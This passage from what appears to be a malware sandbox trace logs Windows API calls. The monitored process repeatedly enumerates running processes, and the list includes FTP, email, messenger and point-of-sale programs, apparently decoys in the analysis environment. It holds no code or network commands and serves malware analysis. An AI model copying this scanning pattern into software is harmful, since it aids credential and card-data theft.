szExeFile="ShellExperienceHost.exe")) returned 1 [0284.447] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0284.449] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.451] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0284.453] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0284.455] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0284.457] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0284.459] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0284.461] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0284.463] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0284.465] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0284.467] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0284.469] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0284.471] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0284.506] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0284.509] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0284.511] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0284.513] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0284.515] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0284.517] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0284.519] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0284.521] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0284.523] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0284.525] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0284.527] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0284.529] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0284.531] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0284.533] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0284.535] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0284.537] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0284.539] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0284.541] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0284.630] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0284.633] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0284.635] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0284.638] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0284.641] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0284.643] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0284.646] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0284.649] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0284.651] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0284.654] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0284.656] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0284.658] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0284.661] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0284.663] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0284.666] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0284.668] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0284.670] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0284.673] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0284.725] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0284.728] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0284.731] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0284.733] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0284.736] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0284.738] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0284.741] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0284.743] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0284.745] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0284.748] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0284.750] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0284.752] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0284.756] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0284.758] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0284.760] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0284.762] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0284.765] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0284.767] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0284.850] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0284.853] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0284.855] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0284.857] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0284.859] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0284.862] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0284.864] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0284.866] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0284.868] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0284.871] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0284.873] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0284.875] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0284.877] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0284.879] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0284.881] CloseHandle (hObject=0x344) returned 1 [0284.881] Sleep (dwMilliseconds=0x64) [0284.928] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0284.943] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.945] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0284.947] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0284.949] Process32Next (in: hSnapshot=0x344, 